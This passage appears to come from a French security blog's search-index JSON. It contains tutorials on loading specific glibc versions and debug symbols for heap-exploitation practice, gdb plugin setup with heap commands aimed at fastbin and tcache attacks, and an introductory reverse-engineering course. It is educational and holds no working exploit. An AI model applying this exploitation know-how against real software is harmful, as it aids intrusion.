./ld-linux-x86-64.so.2 exe # chemin vers 'ld'patchelf --set-rpath . exeLe programme utilisera désormais la libc 2.35.💪 Téléchargement manuel d’une version spécifique de la libcVoyons comment télécharger manuellement une version spécifique de la libc. Cela peut arriver dans le cas où vous souhaitez utiliser une version exotique ou non prise en compte par libc-database. Nous nous limiterons dans cette section à Ubuntu bien que la méthodologie soit similaire pour les autres distributions issues de Debian. Pour le reste des distributions, le principe est identique même si le gestionnaire de paquets peut différer.Imaginons que l’on veuille télécharger manuellement la libc 2.23 mais en 32 bits cette fois-ci.⬇️ Récupération de la libc et de ldCherchons la version présente sur le site launchpad.net en cherchant sur notre moteur de recherche préféré avec les mots clés : launchpad libc6 2.23 \"i386 binary\". Le mot clé i386 permet de restreindre la recherche à la version 32 bits.En navigant dans les premiers liens de la recherche, nous choisissons le premier qui dispose d’une version plus à jour : En cherchant sur internet, vous pourrez être amenés à tomber sur des libc préfixées par libc6-dbg_2.* comme ici. Ce sont les variantes dbg de débogage de la libc qui ne sont pas strippées. Il ne s’agit pas de bibliothèques utilisables pour la compilation mais plutôt de symboles de débogages. En téléchargeant une telle libc, vous trouverez bien un fichier libc-2.XX.so et ld-2.XX.so mais ils ne permettront pas d’exécuter le programme. Ce sont d’ailleurs ces fichiers qui sont présents dans le dossier .debug. De ce fait, si vous ne souhaitez pas utiliser glibc-all-in-one ou que vous n’y avez pas trouvé ce que vous cherchez, vous pouvez constituer le dossier .debug à la main à partir du paquet libc6-dbg* !Si votre navigateur bloque le téléchargement du lien, il suffit de faire : clic droit ➡️ copier l’adresse du lien ➡️ ouvrir un nouvel onglet ➡️ copier le lien et saisir “entrée”.Une fois le paquet téléchargé, nous pouvons le décompresser avec dpkg :dpkg-deb -x libc6_2.23-0ubuntu11.3_i386.deb .Les fichiers qui nous intéressent sont présents dans ./lib/i386-linux-gnu. En fonction de la version de la libc téléchargée, l’arborescence du dossier risque de quelque peu changer. Néanmoins, avec find vous trouverez facilement les fichiers ld-2* et libc-2*.⚙️ Compilation et exécutionComme précédemment, nous mettons les fichiers ld-2.23.so et libc-2.23.so dans le même dossier que le fichier main.c à compiler et nous ajoutons un lien symbolique libc.so.6 vers la libc.Pour la compilation, la commande est quasiment identique si ce n’est l’ajout de -m32 pour compiler en 32 bits.gcc -m32 main.c -o exe \\ -Wl,--dynamic-linker=./ld-2.23.so \\ -L. -Wl,-rpath=. -l:./libc-2.23.soVous pouvez désormais exécuter votre programme 32 bits avec libc 2.23 et le déboguer !🛠️ Importer les symboles de débogage J’ai bien réussi à compiler et exécuter le programme, j’arrive d’ailleurs même à le déboguer mais lorsque je tente d’utiliser les commandes liées au tas dans gdb il me dit : pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols..Lorsqu’un programme est compilé avec une libc qui n’est pas native, le débogueur peut avoir du mal à afficher correctement le tas ainsi que les informations qui lui sont liées ( bins, arènes …). Le débogueur tente alors de retrouver ces informations de manière heuristique.Cependant, si le débogueur n’arrive pas à afficher correctement le tas et qu’il est dans les choux, il va falloir que l’on importe nous-mêmes les symboles de débogage. Il y a principalement 3 méthodes pour le faire. Voyons ces méthodes de la plus simple à celle qui demande plus d’efforts.Considérons la version libc6_2.23-0ubuntu11.3_i386 pour laquelle gdb génère un avertissement ⚠️.1️⃣ Utiliser pwninitpwninit est un petit outil très utilisé en pwn qui sert à préparer rapidement un binaire pour l’exploitation. Il permet notamment de modifier (ou patcher) la libc et l’éditeur de liens ld utilisée par le programme afin qu’ils soient exactement les mêmes que ceux utilisés dans le vrai contexte d’exécution du programme.Par exemple, si la machine vulnérable lance le programme avec la glibc 2.21, en téléchargeant le programme et en le lançant sur votre machine, il s’exécutera avec la libc de votre machine qui a sûrement une version supérieure à 2.40. Et puis, on n’exploite pas un programme avec la glibc 2.30 comme on le fait avec la glibc 2.21, surtout pour de l’exploitation dans le tas 😉.Grâce à pwninit, nous pouvons aller rapidement à l’essentiel dans l’exploitation et ne plus perdre de temps sur la mise en place du bon environnement d’exécution. Pour l’installer, vous pouvez vous référer aux instructions d’installation disponibles sur la page GitHub de l’outil.Revenons à nos moutons 🐏 : dans le dossier contenant notre exécutable, la libc et ld, utilisons pwninit comme suit :pwninit --bin exe --libc libc-2.23.so --ld ld-2.23.sopwninit va télécharger la variante dbg de la libc spécifiée afin de l’unstripper, c’est-à-dire ajouter les symboles de débogage. Pour la version libc6_2.23-0ubuntu11.3_i386, pwninit téléchargera libc6-dbg_2.23-0ubuntu11.3_i386.Le programme exe_patched généré est celui qui utilise la bibliothèque avec les symboles de débogage. Vous n’avez plus qu’à relancer gdb sur exe_patched et vous pourrez utiliser les commandes du tas sans souci. Et là, plus d’avertissement provenant de gdb 😎!2️⃣ Utiliser glibc-all-in-one Sachant que pwninit ajoute les symboles de débogage dans la libc, celle-ci est modifiée et ne nécessite pas de dossier .debug. Afin d’éviter d’avoir un faux positif en utilisant cette autre méthode, nous vous conseillons de repartir de zéro en reprenant la libc 2.23 32 bits qui n’a pas été modifiée.Comme cela a été vu précédemment, glibc-all-in-one télécharge automatiquement le dossier .debug. Que contient-il ? Téléchargeons la version 2.23 en 32 bits et voyons ce que contient ce dossier.$ ./download 2.23-0ubuntu11.3_i386$ tree libs/2.23-0ubuntu11.3_i386/.debug libs/2.23-0ubuntu11.3_i386/.debug ├── lib │ └── i386-linux-gnu │ ├── ld-2.23.so &lt;---│ ├── libanl-2.23.so │ ├── libBrokenLocale-2.23.so │ ├── libc-2.23.so &lt;---│ ├── libcidn-2.23.so │ ├── libcrypt-2.23.so...Le dossier .debug contient une arborescence de dossiers et surtout ld et la libc non strippées :$ file libs/2.23-0ubuntu11.3_i386/.debug/lib/i386-linux-gnu/libc-2.23.so libc-2.23.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked, interpreter * empty*, BuildID[sha1]=18f761287ed46e213bec29c2e440e73fd72373be, for GNU/Linux 2.6.32, with debug_info, not strippedPoursuivons en examinant comment utiliser le dossier .debug dans gdb. Déplaçons le dossier .debug vers le dossier contenant notre exécutable. Si ce n’est pas déjà fait, compilez le programme en utilisant la libc initiale, celle qui n’a pas été modifiée par pwninit.Ouvrons le programme dans gdb et lançons la commande heap. Vous devriez voir un avertissement concernant l’usage d’heuristique. Utilisons la commande set debug-file-directory ./.debug pour spécifier le chemin du dossier .debug.A présent, tout fonctionne sans souci ni avertissement : Avant de lancer la commande heap ou une quelconque commande liée à la heap, il est nécessaire de s’assurer que celle-ci est initialisée et présente en mémoire. Par exemple, mettez un point d’arrêt après qu’un premier appel à malloc soit terminé. Si vous avez des erreurs en compilant un programme avec une version spécifique de la libc &gt; 2.30 et que vous n’arrivez pas à les résoudre, vous pouvez faire ceci : compiler le programme normalement (ex : gcc main.c -o exe) puis utiliser pwninit pour patcher la libc (ex: pwninit --bin exe --libc libc.so.6 --ld ld-linux-x86-64.so.2). Evidemment la libc et le ld donnés en paramètres à pwninit sont ceux que vous avez téléchargés avec glibc-all-in-one.3️⃣ Télécharger manuellement la version “dbg”Il s’agit d’une méthode de dernier recours. Voici comment la mettre en œuvre : chercher le paquet dbg qui correspond à la libc utilisée (exemple : libc6_2.23-0ubuntu11.3_i386 ➡️ libc6-dbg_2.23-0ubuntu11.3_i386) ; décompresser le paquet avec dpkg-deb -x (...) ; créer un dossier .debug et y mettre la libc non strippée (exemple : libc-2.23.so). Pas besoin d’y mettre ld ; ouvrir le programme dans gdb et utiliser la commande set debug-file-directory ./.debug." }, { "title": "Partie 24 - Annexe n°2 - gérer plusieurs versions de gdb et principales commandes pour déboguer le tas", "url": "/posts/exploitation_de_la_heap_partie_24/", "categories": "Pwn, Exploitation de la heap", "tags": "x86, pwn, linux", "date": "2026-03-16 08:00:00 -0200", "snippet": "Annexe n°2 : Gérer plusieurs versions de gdb et principales commandes pour déboguer le tasCe tutoriel se déroule en deux étapes : dans un premier temps, nous allons apprendre à faire cohabiter plu...", "content": "Annexe n°2 : Gérer plusieurs versions de gdb et principales commandes pour déboguer le tasCe tutoriel se déroule en deux étapes : dans un premier temps, nous allons apprendre à faire cohabiter plusieurs versions de gdb ensemble ; dans un second temps, nous allons nous intéresser aux principales commandes à connaître lorsque l’on débogue un programme utilisant le tas.Installation de plusieurs versions de gdbVersions installéesPour différentes raisons, il se peut que vous ayez envie d’installer différentes versions de gdb. Par “version” on entend ici “variante” et non pas le numéro de version.Installer différentes versions permet de passer de l’une vers l’autre afin de profiter des avantages de chacune d’elles. Le principal souci réside dans leur cohabitation pour qu’elles ne s’emmêlent pas les pinceaux.Voici les différentes versions que nous allons installer : gdb-pwndbg ; gdb-peda ; gdb-gef (version classique) ; gdb-gef (fork de bata24). Par souci de clarté, gdb-gef désignera la version “classique” de gef tandis que gdb-gef++ désignera la version forkée contenant davantage de fonctionnalités.Comment les installer J’ai teeellement la flemme de les installer une par une 😩.Ça tombe bien, nous allons utiliser un script qui fera (presque) tout le sale boulot pour nous !Pour installer ces différentes versions ensemble, nous allons nous servir du projet gdb-peda-pwndbg-gef.Comme indiqué dans le tutoriel, lançons les commandes suivantes :cd ~ &amp;&amp; git clone https://github.com/apogiatzis/gdb-peda-pwndbg-gef.gitcd ~/gdb-peda-pwndbg-gef./install.shVoilà ! Les versions suivantes sont désormais installées : gdb-pwndbg ; gdb-peda ; gdb-gef (version classique) ;Malheureusement, gdb-gef++ n’est pas installé par ce script, il va donc falloir le faire nous-mêmes, vous verrez, ça vaut le coup !Installation de gdb-gef++gdb-gef++ est un fork de gdb-gef avec e nombreuses fonctionnalités supplémentaires notamment : débogage du noyau sans symboles : commandes heuristiques pour déboguer le noyau Linux sans vmlinux ; support multi-architectures : compatibilité étendue avec qemu-user pour plusieurs plateformes ; analyse avancée du tas : commandes spécifiques pour examiner le tas ; optimisations diverses : ajouts et améliorations pour une meilleure expérience utilisateur.Évidemment, il n’est pas forcément meilleur que toutes les autres versions, les goûts et les couleurs, toussa toussa. Néanmoins, pour ce qui est de l’exploitation dans le tas, il reste très intéressant.Pour l’installation de gdb-gef++, vous pouvez simplement suivre ce qui est indiqué dans la rubrique d’installation en fonction de la version de votre système. La commande d’installation est lancée avec sudo. Cela facilite peut-être l’installation des paquets nécessaires pour éviter de demander le mot de passe root.Étant donné que les fichiers d’installation sont placés dans /root, nous allons devoir faire quelques changements et déplacer le fichier d’initialisation :mkdir ~/gdb-gef++sudo cp /root/.gdbinit ~/gdb-gef++sudo cp -R /root/.gef ~/gdb-gef++# Donner les droits de l'utilisateur courantsudo chown -R $(whoami):$(id -gn) ~/gdb-gef++Une fois ces étapes terminées, ouvrez le fichier ~/.gdbinit et ajoutez le bloc suivant :define init-gef-bata24source ~/gdb-gef++/.gef/gef.pyenddocument init-gef-bata24Initializes bata24-GEF (GDB Enhanced Features)endEnfin, créez le fichier /usr/bin/gdb-gef++ avec le contenu suivant :#!/bin/shexec gdb -q -ex init-gef-bata24 \"$@\" N’oubliez pas de lui accorder les droits d’exécution : sudo chmod +x /usr/bin/gdb-gef++.Et voilà, vous pouvez lancer gdb-gef++ !Principales commandes pour déboguer le tasCette section est divisée en deux parties : un résumé des principales commandes ; les détails des commandes, souvent accompagnés d’une image d’illustration. Vous pouvez rechercher avec Ctrl+F le nom d’une commande sur la page pour trouver les détails de celle-ci un peu plus bas.Liste des commandes : chunks : affiche les différents blocs alloués et libres présents sur le tas en se focalisant sur leurs métadonnées ; heap chunk 0xaddr : affiche les détails d’un bloc en particulier ; visual-heap : affiche une liste des différents blocs alloués et libres présents sur le tas. Très pratique pour avoir une vue d’ensemble ; arenas : affiche la liste des arènes ; arena : affiche les détails d’une arène en particulier ; top : affiche les détails du bloc du sommet ; bins : affiche le contenu des différentes corbeilles du tas ; tcachebins ; fastbins ; unsortedbin ; smallbins ; largebins. heap bins-simple : affiche une vue d’ensemble des différentes corbeilles ; try-free : simule la libération d’un bloc ; try-malloc : simule l’allocation d’un bloc ; heap find-fake-fast : recherche un bloc de taille n qui pourrait être utilisé pour exploiter la fastbin de même taille.chunks💡 RésuméAffiche les différents blocs alloués et libres présents sur le tas en se focalisant sur leurs métadonnées📃 DétailsLes différents chunks (blocs) sont affichés avec différents détails : les blocs libres apparaissent en 🟡 ; les informations liées aux différentes métadonnées sont affichées avec différentes couleurs ; le bloc du sommet est visible avec la mention top ; l’adresse base indique l’adresse du début du bloc, contenant les métadonnées, tandis que l’adresse addr indique l’adresse à partir de laquelle commencent les données du bloc (adresse retournée par malloc).heap chunk 0xaddr💡 RésuméAffiche les détails d’un bloc en particulier.📃 DétailsCette commande permet d’avoir plus d’informations à propos d’un bloc en particulier. L’adresse à saisir n’est pas l’adresse base mais addr, celle qui pointe vers les données du bloc. N’oubliez pas le mot clé heap dans la commande heap chunk 0xaddr pour que celle-ci puisse s’exécuter correctement.visual-heap💡 RésuméAffiche une vue d’ensemble des différents blocs alloués et libres présents sur le tas en se focalisant sur leur contenu. Raccourcis : vis📃 DétailsCette commande permet de visualiser rapidement le contenu des différents blocs présents sur le tas qu’ils soient libres ou alloués. Si un bloc appartient à une corbeille en particulier, cette dernière sera affichée.Cette commande est très utile pour avoir en tête la structure des différents blocs en mémoire. Astuce gdb : l’option -d permet d’utiliser des couleurs sombres (-dark) afin d’éviter d’avoir mal à la tête 😵‍💫. L’option -n permet d’afficher directement le tas sans utiliser une visualisation “à la less”.arenas💡 RésuméAfficher la liste des arènes.📃 DétailsCette commande permet d’afficher la liste des arènes utilisées par le programme.Pour rappel, un processus peut utiliser plusieurs arènes mémoire, notamment dans les programmes multithreadés.arena💡 RésuméAfficher les détails d’une arène en particulier.📃 DétailsCette commande permet d’afficher pas mal d’informations sur une arène : les adresses des différentes corbeilles (toutes les corbeilles sauf le tcache) ; l’adresse du bloc du sommet ; plusieurs variables intervenant dans le fonctionnement interne de free, malloc et autres fonctions de gestion de mémoire. Astuce gdb : par défaut, c’est l’arène principale qui est affichée. Vous pouvez spécifier une autre arène avec l’option -a. Par exemple : arena -a 0x7ffff0000030.top💡 RésuméAfficher les détails du bloc du sommet.📃 DétailsCette commande affiche plusieurs informations concernant le bloc du sommet. Astuce gdb : par défaut, le bloc du sommet affiché est celui de l’arène principale. Vous pouvez spécifier une autre arène avec l’option -a. Par exemple : top -a 0x7ffff7e1ac80.bins💡 RésuméAfficher le contenu des différentes corbeilles du tas.📃 DétailsSi vous cherchez une commande permettant d’avoir une vue panoramique sur les différentes corbeilles du tas, c’est la commande qu’il vous faut !Les différents blocs libres sont listés avec les informations concernant leurs métadonnées. De plus, dans le cas où une corruption de liste chaînée, par exemple, a eu lieu, cette commande indiquera la présence d’une corruption. Astuce gdb : pour avoir la liste de toutes les corbeilles, même celles qui sont vides, vous pouvez utiliser l’option -v.Vous pouvez restreindre les informations affichées à une corbeille en particulier avec les commandes suivantes : tcachebins ; fastbins ; unsortedbin ; smallbins ; largebins.heap bins-simple💡 RésuméAfficher une vue d’ensemble des différentes corbeilles.📃 DétailsIl s’agit d’une version plus concise de la commande bins. N’oubliez pas le mot clé heap dans la commande heap bins-simple pour que celle-ci puisse s’exécuter correctement.try-free💡 RésuméSimuler la libération d’un bloc.📃 DétailsCette commande est très utile en pwn car elle permet de simuler la libération d’un bloc. Cela permet de savoir à l’avance si appeler free sur ce bloc va générer une erreur ou non. De cette manière, vous pouvez savoir si une libération de bloc va passer toutes les vérifications.Un point essentiel de cette commande est que la libération est simulée, donc ne vous inquiétez pas, free ne sera pas réellement appelée. L’adresse à donner en paramètre de cette commande est l’adresse qui pointe vers les données du bloc et non ses métadonnées.try-malloc💡 RésuméSimuler l’allocation d’un bloc.📃 DétailsDe la même manière que try-free simule la libération d’un bloc, try-malloc simule l’allocation d’un bloc pour une taille donnée. La fonction retourne l’adresse qui aurait été retournée si malloc avait réellement été appelé avec cette taille en paramètre.Cela est pratique pour voir si votre exploit est propre et fonctionnel. Par exemple, dans le cas d’une tcache attack ou fastbin attack, si vous ne gérez pas correctement la liste chaînée, il se peut que la prochaine allocation échoue, chose que vous devriez observer si vous lancez try-malloc.heap find-fake-fast💡 RésuméRechercher un bloc de taille n qui pourrait être utilisé pour exploiter la fastbin de même taille.📃 DétailsÉtant donné que depuis la version 2.3.4 de la glibc, la taille des blocs utilisés est vérifiée lorsqu’un bloc de taille n est alloué en utilisant la fastbin de même taille, nous ne pouvons plus utiliser n’importe quel bloc pour réaliser une fastbin attack, par exemple.Cette commande permet ainsi de pouvoir trouver en mémoire de potentiels blocs de taille n que l’on pourrait utiliser pour exploiter la liste chaînée de la fastbin. N’oubliez pas le mot clé heap dans la commande heap find-fake-fast pour que celle-ci puisse s’exécuter correctement." }, { "title": "Partie 1 - Introduction", "url": "/posts/introduction_au_reverse_partie_1/", "categories": "Reverse, Introduction au reverse", "tags": "x86, reverse, linux", "date": "2023-10-30 08:00:00 -0200", "snippet": "Au nom de Dieu, le Tout Miséricordieux, le Très Miséricordieux.IntroductionQu’est-ce que le reverse ?Selon le bon vieux Wikipedia, la définition de reverse (ou rétro-ingénierie 🇫🇷) est :La rétro-in...", "content": "Au nom de Dieu, le Tout Miséricordieux, le Très Miséricordieux.IntroductionQu’est-ce que le reverse ?Selon le bon vieux Wikipedia, la définition de reverse (ou rétro-ingénierie 🇫🇷) est :La rétro-ingénierie, ou ingénierie inversée, est l'activité qui consiste à étudier un objet pour en déterminer le fonctionnement interne. On parle également de rétro-conception dans le domaine du vivant. Le terme équivalent en anglais est reverse engineering.C’est assez concis mais peut être un peu trop vague pour cerner réellement ce qu’est le reverse. Je vous propose une analogie plus terre-à-terre, et j’espère que vous aimez la cuisine 👨‍🍳 !Tout d’abord avant de comprendre ce qu’est le reverse en informatique, comprenons comment fonctionne globalement la programmation et compilation d’un programme.La réalisation d’un programmeUn programmeur, c’est finalement comme un cuisinier, il a différents ingrédients à disposition que l’ordinateur lui offre : un éditeur de texte, de la puissance de calcul, des bibliothèques prêtes à être utilisées etc.En utilisant ces outils à sa disposition, il va développer le code qui n’est rien d’autre qu’une recette que l’ordinateur va compiler afin d’obtenir le programme final.Une fois que le code est compilé par le PC, on obtient notre programme executable.exe prêt à être exécuté (ou mangé si on reprend l’analogie du gâteau 😋).Le chemin inverse : le reverseNous venons de voir les principales étapes de la réalisation d’un programme ( notre gâteau ) : Utilisation de différents outils à disposition ↔️ Les ingrédients Ecriture du code ↔️ Ecriture de la recette Compilation du programme ↔️ On obtient le gâteau !Eh bien le reverse, c’est le chemin inverse 🔃 de ces 3 étapes !C’est-à-dire que l’on part du gâteau et on essaye de déterminer les ingrédients utilisés, la manière dont ils ont été cuisinés et utilisés, les outils utilisés etc.En l’occurrence certains détails peuvent se voir directement en analysant visuellement le gâteau : Il y a une crème marron : sûrement du chocolat Il y a un biscuit blanc : de la farine a été utilisée. Avec de la vanille ou des œufs ? Ou peut être du yaourt ? Le haut semble plus cuit que le bas : un dysfonctionnement du four du cuistot ?De la même manière, il est possible de réaliser une analyse du programme pour tenter de déterminer certaines informations basiques. C’est ce que l’on appelle l’analyse statique. C’est-à-dire que l’on analyse programme sans avoir à l’exécuter. C’est généralement la première étape de reverse sur un programme.Vous vous en doutez, en réalisant une simple analyse statique on ne peut pas toujours avoir toutes les informations sur le comportement du programme. De la même manière que si l’on ne découpe pas le gâteau, que l’on ne le goûte pas, on ne pourra pas savoir si d’autre ingrédients ont été utilisés à l’intérieur, que l’on ne verrait pas de l’extérieur.Le fait d’exécuter un programme afin de mieux l’étudier s’appelle l’analyse dynamique. Finalement, le reverse est le fait de partir d’un résultat et l’analyser afin d’en déduire la manière dont il a été formé.A quoi sert le reverse ?Le reverse peut être utile dans de nombreux domaines : Analyse de malwares Recherche et exploitation de vulnérabilités Modding Émulation Débogage bas niveau Analyse forensicLors de ce cours, nous focaliserons essentiellement sur l’analyse de petits programmes basiques afin d’en comprendre le fonctionnement. Nous aurions pu également nous initier au reverse en nous intéressant à de la programmation IoT mais cela risque d’être plus compliqué, notamment lorsque l’on tombe sur des architectures que le PC de tout un chacun ne peut pas exécuter. Nous nous intéresserons à plusieurs crackmes lors de ce cours. Ce sont de petits programmes qui attendent un mot de passe valide pour réussir le challenge. Ce n’est pas pour autant que ce cours est une incitation au cracking de jeux ou autres logiciels propriétaires ! Cela est illégal et ce n’est, comme vous le verrez, vraiment pas l’esprit de ce cours 😊.Prérequis pour bien entamer le coursTL-DR Savoir programmer en C ou au moins pouvoir comprendre un code écrit en C ( sans pour autant être un pro du C) Savoir se débrouiller avec une distribution Linux Savoir se débrouiller et ne pas baisser les bras quand on fait face à un problème Connaître et comprendre le représentation binaire et hexadécimale d’un nombreMais ne vous inquiétez pas, si certains prérequis ne sont pas validés, plusieurs ressources sont proposées afin que vous puissiez acquérir plus de connaissances sur ces diverses thématiques et revenir suivre ce cours quand vous serez fin prêts !Version longueOn aurait bien aimé que ce cours puisse être directement accessible à toute personne qui s’intéresse à la rétro-ingénierie mais, malheureusement, il y a certains prérequis dont il est difficile de faire abstraction.Comme cela a été explicité précédemment, l’un des objectif du reverse est de comprendre comment a été développé un programme. Cela implique donc de savoir, a priori, comment programmer.Nous nous intéresserons principalement à des programmes codés en C dans ce cours. Bien que rien n’interdise le fait de faire le reverse d’application codées en Java, JS, Python etc., il faut bien faire un choix pour un cours d’introduction.Si vous ne savez pas programmer en C, je vous conseille ce cours de ce qui était anciennement le “Site du Zéro”. Si vous le suivez et faites les exercices associés, vous devriez pouvoir vous lancer dans le reverse d’application en C sans trop de soucis.Concernant les autres pré-requis :LinuxNous allons surtout faire du reverse d’application développées sous Linux car cela est plus simple à compiler, analyser et modifier. De ce fait, si faire un Hello World en C sous Linux et le compiler, vous paraît être une mission impossible, on est mal barrés 😅 !🎒 RessourcesJe ne peux que vous recommander le cours assez complet du Site Du Zéro (Openclassrooms) permettant de s’initier à Linux : ici. Il s’agit d’un cours qui commence à dater, il se peut que certains chapitres et certaines commandes ne soient plus d’actualité. Mais globalement le cours est très bien fait !Savoir se débrouillerCette compétence n’est pas propre au reverse mais de manière générale dans le domaine du hacking, on s’attend à ce que les gens sachent faire preuve de persévérance et de patience en cherchant à résoudre les problèmes.🎒 RessourcesTravailler son mental !L’hexadécimal et le binaireQuand on s’attaque à de l’informatique bas niveau, on est souvent confrontés à des systèmes de numération différents de ceux que l’on connaît (base 10).Une grande partie des valeurs, pour ne pas dire toutes, que l’on rencontre en faisant du reverse sont affichées en hexadécimal (base 16) et dans certains cas en binaire (base 2).🎒 RessourcesVoici un petit tutoriel pour comprendre l’hexadécimal et le binaire. Je vous conseille ensuite de vous entraîner à la main sur une feuille pour vous familiariser de plus en plus avec ces systèmes de numération.Vous pouvez également utiliser ce site pour réaliser des conversions entre binaire / hexadécimal / décimal.A qui s’adresse ce coursAu-delà des prérequis, ce cours s’adresse à des personnes qui souhaitent : comprendre comment fonctionne concrètement un programme comprendre ce que signifie cracker un programme comprendre du code assembleur (langage machine) et le lien avec le code source s’initier au reverse par curiosité, passion ou envie de travailler dans ce domaineAinsi, pour les personnes qui n’ont pas les prérequis pour entamer sereinement ce cours et qui sont motivées, nous leur conseillons de prendre le temps de bien avancer dans les prérequis puis de suivre ce cours afin que cela leur soit utile et qu’elles puissent apprendre facilement le reverse.📝 Objectifs de ce coursLes objectifs de ce cours d’introduction sont les suivants : Comprendre (en partie) l’assembleur en x86 (32 et 64 bits) Savoir utiliser les principaux outils de reverse (désassembleur, décompilateur, debuggers) Savoir utiliser les outils de reverse sous Linux Savoir détecter et gérer quelques exemples de protections anti-reverse Savoir mener une analyse statique et dynamique sur programme Savoir résoudre des crackmes basiquesNe seront pas abordés lors de ce cours (par souci de concision, par manque de connaissance de ma part et autre) : L’exploitation détaillée de programmes vulnérables Les détails de l’assembleur des autres architectures : ARM, MIPS, RISC-V … Nous nous intéresserons cependant à leurs spécificités et principales différences avec x86 Les programmes développés en Golang, Rust et compagnie Le reverse sous Windows, Mac OS, Android ou iOS" }, { "title": "Partie 2 - Le fonctionnement d'un programme - (1/2)", "url": "/posts/introduction_au_reverse_partie_2/", "categories": "Reverse, Introduction au reverse", "tags": "x86, reverse, linux", "date": "2023-10-29 08:00:00 -0200", "snippet": "Le fonctionnement d’un programme - (1/2)PréambuleIl existe différentes manières d’apprendre le reverse : Certains préconisent de commencer par l’assembleur (langage machine) afin de comprendre en ...", "content": "Le fonctionnement d’un programme - (1/2)PréambuleIl existe différentes manières d’apprendre le reverse : Certains préconisent de commencer par l’assembleur (langage machine) afin de comprendre en détail comment cela fonctionne D’autres préfèrent allier théorie à pratique en analysant des exemples de programmes compilés et voir ce que cela produit en termes d’assembleurEn ce qui nous concerne, nous allons à la fois combiner la théorie et la pratique mais sans commencer directement par l’assembleur, ce serait beaucoup trop traumatisant 😅 !En fait, nous aimerions que ce cours soit tel que l’on aurait aimé qu’il soit quand on a commencé le reverse. Voici les principaux inconvénients des cours les plus connus : principalement en anglais beaucoup trop de théorie 😴 beaucoup trop de détails dans l’assembleur (exemple : les différences entre les compilateurs dans différentes architectures 🤯) parfois : manque de pédagogieEvidemment, ce cours n’a pas la prétention de combler tous ces inconvénients ( qui, pour certains, n’en sont peut être pas). L’idée est simplement de proposer quelque chose de différent de ce qui a été réalisé jusqu’à présent.Peut être que certains sont férus de théorie auquel cas le fameux cours de reverse de Dennis Yurichev leur conviendra très bien. Rendons à César ce qui est à César La pédagogie déployée dans ce cours, et plus généralement sur ce site, est très inspirée du Site du Zéro (désormais Openclassrooms). Vous faites peut être également partie de cette génération qui a appris à coder sur ce site. Personnellement, c’est mon cas et j’ai trouvé que la manière dont étaient présentées les choses était simple, efficace et concise. On espère que ce cours sera donc agréable à lire et facile à comprendre ! Je ne suis pas forcément pour ou contre l’anglicisme tout azimuts mais, à défaut d’avoir trouvé un mot plus simple en français que “reverser” pour dire “analyser et comprendre un programme compilé”, on utilisera ce terme à l’avenir 😄. Si vous avez des suggestions, je suis preneur !Qu’est-ce qu’un programme ?Normalement, si vous avez suivi les prérequis avant d’entamer ce cours, vous devriez savoir ce qu’est un programme : un bout de code transformé en un fichier exécutable par l’ordinateur.C’est un bon début, mais évidemment cette définition n’est pas assez précise. Essayons l’affiner. Tout d’abord, voyons les principales étapes permettant d’obtenir un programme à partir de code : Le développeur écrit le code qui devra s’exécuter (par exemple dans un fichier main.c) Une fois le développement terminé, il utilise un compilateur (Visual Studio, gcc, clang …) afin de produire un programme (par exemple main.exe) Enfin l’utilisateur double-clique sur l’exécutable afin de le lancer, il voit alors le résultat à l’écran de l’exécution du programmeIl y a évidemment pas mal d’étapes sous-jacentes qui ne sont pas citées (édition des liens, chargement dynamique des bibliothèques etc.) mais cela nous permet d’avoir un aperçu global pour mieux nous y intéresser en détail. Vous l’aurez compris, le rôle d’un reverser est de retrouver ce qui a été fait à l’étape 1 à partir des étapes 3 et 4. L’étape 4 ne représente pas un programme à proprement parler mais plutôt un processus en cours d’exécution en mémoire. Il y a pas mal de différences entre un processus (étape 4) et un programme (étape 3) que nous verrons ultérieurement.Etape 1️⃣ : La programmationLa première étape pour réaliser un programme est de … programmer (Merci Sherlock 🕵️‍♂️) !Dans un programme, indépendamment du langage utilisé, on retrouve souvent les mêmes notions utilisées : les variables : ce sont des zones mémoires où seront stockées des données les fonctions : des bouts de code qui peuvent être appelés plusieurs fois les instructions de contrôle : if, else, while, switch qui permettent d’exécuter du code de manière conditionnelle ou en bouclant dessus les commentaires : osef en reverse de toute façon le compilateur ne les lit même pas 🥵 les objets et structures : ce sont en quelque sorte des “super” variablesChacun de ces éléments va être modélisé d’une certaine manière dans le programme final. Nous aurons le temps de voir comme tout cela est représenté dans un programme.Langage interprété vs langage compiléLangage interprétéUn code dont le langage est interprété (Python, PHP, Bash …) sera lu ligne par ligne par l’interpréteur. Cela signifie que l’interpréteur ne sait pas à l’avance tout ce qu’il est possible d’exécuter avec un tel code et si tout le code est correct.C’est pourquoi en Python, tant que certaines fonctions ne sont pas appelées, on ne peut pas détecter certaines erreurs qu’elles contiennent.Les programmes développés dans un langage interprété sont : souvent plus lents que les programmes compilés 🚜 plus facilement utilisable car il suffit de disposer d’un interpréteur sur sa machine en termes de reverse, on peut accéder au code source (sous forme de script) plus facilementLangage compiléLes programmes développés en langage compilé (C, C++, Java, Kotlin …) sont quant à eux lus dans leur entièreté, qu’un bout de code soit appelé ou non. C’est pourquoi le compilateur risque de plus râler qu’un interpréteur : il a besoin que tout soit bien fonctionnel afin de générer l’exécutable final.Cette manière de réaliser un exécutable implique plusieurs choses : un programme développé en langage compilé est souvent plus rapide qu’un langage interprété 🏎️ moins accessibles car il faut généralement recompiler le programme pour chaque OS de destination ( distro Linux, Mac OS, Windows …) en termes de reverse, on perd pas mal d’informations lorsque l’on compile un programme (noms des fonctions, structures, objets, énumérations …), c’est donc plus complexe à analyser ( mais pas impossible 😄)C’est d’ailleurs pourquoi vous avez généralement un makefile dans les projets GitHub développés en C, C++ etc. Cela vous permet de compiler le programme avec votre machine qui s’adapte à votre environnement. Ces projets ne sont donc pas utilisables tel quel car il est nécessaire de passer par l’étape de compilation.Tandis que lorsque vous trouvez un projet GitHub développé en Python, vous pouvez directement l’utiliser via python script.py. Concernant l’aspect “reverse” des choses, quand on travaille dans le domaine de la rétro-ingénierie, on fait principalement face à des programmes compilés plutôt que des scripts (auquel cas cela reviendrait plus à faire de l’analyse de code).De plus, sachant que nous sommes dans un cours de reverse, je vous propose de nous focaliser principalement sur les programmes compilés.Etape 2️⃣ : La compilationNous n’allons pas nous intéresser à la manière dont est développé un compilateur et comment il fonctionne en détails, mais nous avons besoin de comprendre certaines notions avant d’aller plus loin. Mais à quoi sert exactement un compilateur ? Pourquoi en ai-je besoin pour pouvoir lancer mes programmes développés en C, C++ etc. ?Vous vous rappelez de l’analogie du reverse et de la cuisine ? En fait, la compilation correspondrait au 